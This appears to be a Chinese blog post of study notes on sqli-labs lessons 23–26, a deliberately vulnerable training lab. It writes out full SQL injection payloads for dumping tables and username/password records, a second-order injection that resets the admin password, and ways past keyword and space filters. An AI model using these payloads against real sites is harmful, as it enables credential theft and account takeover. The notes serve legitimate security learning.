DAY 4

sqli-labs lesson 23

  • 与lesson 1一样,只不过屏蔽了#和–注释符。
  • 报错型注入:
    • 爆库:id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(database()),0x7e)),'3
    • 爆表:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)),'3
    • 爆字段:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)),'3
    • 爆记录:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select concat_ws(’,’,username,password) from security.users limit n,1),0x7e)),'3
  • 联合查询
    • 爆库:?id=99’ UNION SELECT 1,database(),'3
    • 爆表:?id=99’ UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
    • 爆字段:?id=99’ UNION SELECT 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘users’),'3
    • 爆记录:?id=99’ UNION SELECT 1,(SELECT group_concat(concat_ws(’;’,username,password)) from security.users ),'3

sqli-labs lesson 24

  • 预备知识:什么是二次注入

    • 简单的说,就是在第一次注入时,注入的SQL语句被转义了,从而直接存储到了数据库中,因此,在第二次注入时,直接调用了原始内容进行操作,从而导致注入成功。
  • 注册admin’;#账号



  • 从修改密码的源代码可以看到这一句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
  • 登陆admin’;#
  • 这时,我们修改密码,形成的SQL语句将是:
UPDATE users SET PASSWORD='$pass' where username='admin';#' and password='$curr_pass'

显然,我们把admin用户的密码给改了!

  • 尝试用新密码登陆admin账户:



    成功了!

sqli-labs lesson 25

  • 这里过滤了or和and,可以用||和&&(&是URL参数分隔符,需要编码使用)代替,但是也会有问题,单词中的or也被过滤了,查看源代码,发现只是把or和and进行了一次过滤,并且还是替换成了空字符,所以也很好办,比如information,只要写成infoorrmation就可以了。

sqli-labs lesson 25a

  • 与上一题一样,只是参数是数值型并且没有错误显示了,无法使用报错型注入而已。

sqli-labs lesson 26

  • 过滤加强了!
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
  • 最麻烦的就是空格的过滤了,如果服务器是Linux的,可以使用%a0特殊字符代替,否则,可以使用括号来绕过
  • 直接报错型注入
  • 爆库:?id=99’||extractvalue(1,concat(0x7e,(database()),0x7e))||'3
  • 爆表:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),0x7e))||'1
  • 爆字段:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’%26%26table_schema=‘security’)),0x7e))||'1
  • 爆记录:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(";",username,passwoorrd)))from(security.users)),0x7e))||'1
  • 由于报错型注入返回的长度有限制,而limit的参数无法用括号包围,可以使用where限制语句直接找出admin的记录,也可以使用mid函数来截取。

sqli-labs学习笔记 DAY4的更多相关文章

  1. OpenCV图像处理学习笔记-Day4(完结)

    OpenCV图像处理学习笔记-Day4(完结) 第41课:使用OpenCV统计直方图 第42课:绘制OpenCV统计直方图 pass 第43课:使用掩膜的直方图 第44课:掩膜原理及演示 第45课:直 ...

  2. HTML学习笔记Day4

    一.浮动属性 1.首先要知道,div是块级元素,在页面中独占一行,自上而下排列,也就是传说中的流: 无论多么复杂的布局,其基本出发点均是:“如何在一行显示多个div元素”: 显然标准流已经无法满足需求 ...

  3. Python学习笔记 - day4 - 流程控制

    Python流程控制 Python中的流程控制主要包含两部分:条件判断和循环. Python的缩进和语法 为什么要在这里说缩进和语法,是因为将要学习的条件判断和分支将会涉及到多行代码,在java.c等 ...

  4. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  5. Python学习笔记——Day4

    字符串操作 string典型的内置方法: count() center() startswith() find() format() lower() upper() strip() replace() ...

  6. python学习笔记-Day4(2)

    正则表达式 语法: import re #导入模块名 p = re.compile("^[0-9]") #生成要匹配的正则对象 , ^代表从开头匹配,[0-9]代表匹配0至9的任意 ...

  7. python学习笔记-day4笔记 常用内置函数与装饰器

    1.常用的python函数 abs             求绝对值 all               判断迭代器中所有的数据是否为真或者可迭代数据为空,返回真,否则返回假 any          ...

  8. python 网络爬虫与信息提取 学习笔记day4

    正则表达式简介: 简洁表示一组字符串的特征或者模式,在文本处理中十分常用,主要应用于字符串匹配中 1.  通用的字符串表达框架 2.  简洁表达一组字符串的表达式 3.  针对字符串表达简洁和特征思想 ...

  9. JS学习笔记Day4

    一.什么是函数 将反复使用的功能代码,封装成一独立的模块,这个模块叫做函数 二.封装函数的好处 1.一次封装,多次使用 2.使程序可控 三.函数的分类:内置()函数和自定义函数 四.函数的数据类型(f ...

  10. python学习笔记-Day4(1)

    迭代器 迭代器是访问集合元素的一种方式.迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束.迭代器只能往前不会后退,不过这也没什么,因为人们很少在迭代途中往后退.另外,迭代器的一大优点是 ...

随机推荐

  1. Python自动化之django orm之Q对象

    Python自动化之django orm之Q对象 什么是Q对象? Encapsulates filters as objects that can then be combined logically ...

  2. oracle 基本知识点

    //创建临时表空间create temporary tablespace test_temp tempfile 'E:\oracle\product\10.2.0\oradata\testserver ...

  3. unittest框架官方翻译:中文版

    指数 模块 | 下一个 | 上一个 | Python » 英语 法国 日本 朝鲜的   开发(3.8) 3.7.3rc1 3.6 3.5 2.7  文档 » Python标准库 » 开发工具 » | ...

  4. 树莓派 log 日志 打印到 TXT

    #include<stdio.h> #include <stdarg.h> #include <unistd.h> #include <stdint.h> ...

  5. Ural 1183 Brackets Sequence(区间DP+记忆化搜索)

    题目地址:Ural 1183 最终把这题给A了.. .拖拉了好长时间,.. 自己想还是想不出来,正好紫书上有这题. d[i][j]为输入序列从下标i到下标j最少须要加多少括号才干成为合法序列.0< ...

  6. 洛谷P3382 【模板】三分法(三分)

    题目描述 如题,给出一个N次函数,保证在范围[l,r]内存在一点x,使得[l,x]上单调增,[x,r]上单调减.试求出x的值. 输入输出格式 输入格式: 第一行一次包含一个正整数N和两个实数l.r,含 ...

  7. VS2010调试和头文件路径设置

    1:VS2010 release 调试C/C++ -> 常规 -> 调试信息格式, 修改为程序数据库(/Zi)C/C++ ->优化 -> 优化,修改为已禁用(/Od)链接器 - ...

  8. 2017-2018-1 20155231 课堂测试 (ch06)

    2017-2018-1 20155231 课堂测试 (ch06) 1 (单选题|1分) 下面代码中,对数组x填充后,采用直接映射高速缓存,所有对x和y引用的命中率为(D) A .1 B .1/4 C ...

  9. 20155307《网络对抗》PC平台逆向破解(二)

    20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  10. 19-[模块]-xml

    1.xml协议 xml是实现不同语言或程序之间进行数据交换的协议,跟json差不多,但json使用起来更简单,不过,古时候,在json还没诞生的黑暗年代,大家只能选择用xml呀,至今很多传统公司如金融 ...